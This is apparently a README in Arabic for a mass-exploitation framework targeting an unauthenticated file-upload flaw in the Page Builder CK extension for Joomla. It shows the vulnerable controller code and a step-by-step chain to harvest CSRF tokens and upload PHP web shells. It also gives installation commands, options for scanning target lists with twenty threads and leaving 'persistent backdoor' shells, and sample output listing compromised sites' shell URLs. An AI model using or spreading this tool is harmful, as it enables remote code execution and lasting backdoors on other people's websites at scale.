
📤 إطار عمل استغلال جماعي لثغرة CVE-2026-56290 — رفع ملفات بدون مصادقة في Page Builder CK لـ Joomla يؤدي إلى تنفيذ كود عن بُعد (RCE)
CVE-2026-56290 هي ثغرة ذات خطورة حرجة في Page Builder CK (com_pagebuilderck)، وهي إضافة شائعة لبناء الصفحات في Joomla. تقبل طريقة browse.ajaxAddPicture في وحدة التحكم رفع ملفات بدون مصادقة مع مسار وجهة يتحكم فيه المستخدم، مما يسمح للمهاجمين بكتابة ملفات PHP عشوائية في أدلة يمكن الوصول إليها عبر الويب.
// browse.php controller — NO authentication check
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← user-controlled file
$path = trim($input->get('path', '')); // ← user-controlled path, only trim()!
// ... uploads file to $path without validating the destination
}
تخضع معلمة path لتنظيف trim() فقط — لا قائمة بيضاء، ولا فحص لاجتياز المسار، ولا بوابة مصادقة. وبالاقتران مع رمز CSRF متاح للجمهور من أي صفحة Joomla، يمكن للمهاجمين رفع قذائف PHP عن بُعد إلى أي دليل قابل للكتابة.
| المتجه | الخطورة | الأثر |
|---|---|---|
| رفع ملفات بدون مصادقة | 9.8 (حرجة) | تنفيذ كود PHP عشوائي |
| جمع رموز CSRF | 5.3 (متوسطة) | تمكين سلسلة الرفع |
| كشف المعلومات | 5.3 (متوسطة) | تحديد بصمة إصدار الإضافة |
1. HIT Joomla homepage → harvest CSRF token (hex32 + value "1")
2. POST file upload → task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in → media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL → code executes, RCE confirmed
5. POST f=@file to shell → upload additional tools
6. GET ?cleanup=1 → shell self-destructs
| إصدار Page Builder CK | الحالة | ملاحظات |
|---|---|---|
| 3.1.1 وما دون | 🔴 قابل للاختراق | رفع بدون مصادقة مؤكد |
| 3.4.10 وما دون | 🔴 قابل للاختراق | نطاق موسّع وفقًا للتحليل |
| 3.5.10 وما دون | 🔴 قابل للاختراق | قد توجد نسخ مصحّحة |
| > 3.5.10 | 🟢 ربما مصحّح | تحقق عبر ملف manifest XML |
ملاحظة: يتم اكتشاف الإصدار من ملف manifest الخاص بـ Joomla على المسار
/administrator/manifests/files/com_pagebuilderck.xml. إذا تعذّر الوصول إلى ملف manifest، يتعامل الماسح الضوئي مع الهدف افتراضيًا باعتباره قابلًا للاختراق.
🔍 الاستطلاع
|
💀 الاستغلال
|
# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Install dependencies
pip install -r requirements.txt
# Verify
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator
-t, --target Single target URL
-f, --file File with target URLs (one per line, # for comments)
-o, --output Live TXT output file (default: cve-2026-56290_live.txt)
--json JSON report file path (default: cve-2026-56290_report.json)
--threads Concurrent workers (default: 20)
--timeout Request timeout in seconds (default: 15)
--no-cleanup Leave shells on target (persistent backdoor)
-v, --verbose Verbose endpoint discovery output
--known-endpoint Skip discovery: task,file_param,folder_param
# Single target
python cve_2026_56290.py -t https://target.com
# Mass scan from file
python cve_2026_56290.py -f targets.txt
# Custom output + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v
# Leave shells behind (persistent backdoor)
python cve_2026_56290.py -t https://target.com --no-cleanup
# Skip discovery with known endpoint
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
Live TXT: live_results.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────
✅ https://target-vuln.com [rce_confirmed] 12.4s
PBCK: 3.4.7 [VULN]
RCE : ext=php | path=media/com_pagebuilderck/gfonts/
Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
🛡️ https://target-patched.com [patched] 3.2s
✅ https://target-vuln2.com [rce_confirmed] 15.1s
PBCK: 3.1.0 [VULN]
RCE : ext=pHP | path=media/com_pagebuilderck/fonts/
Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path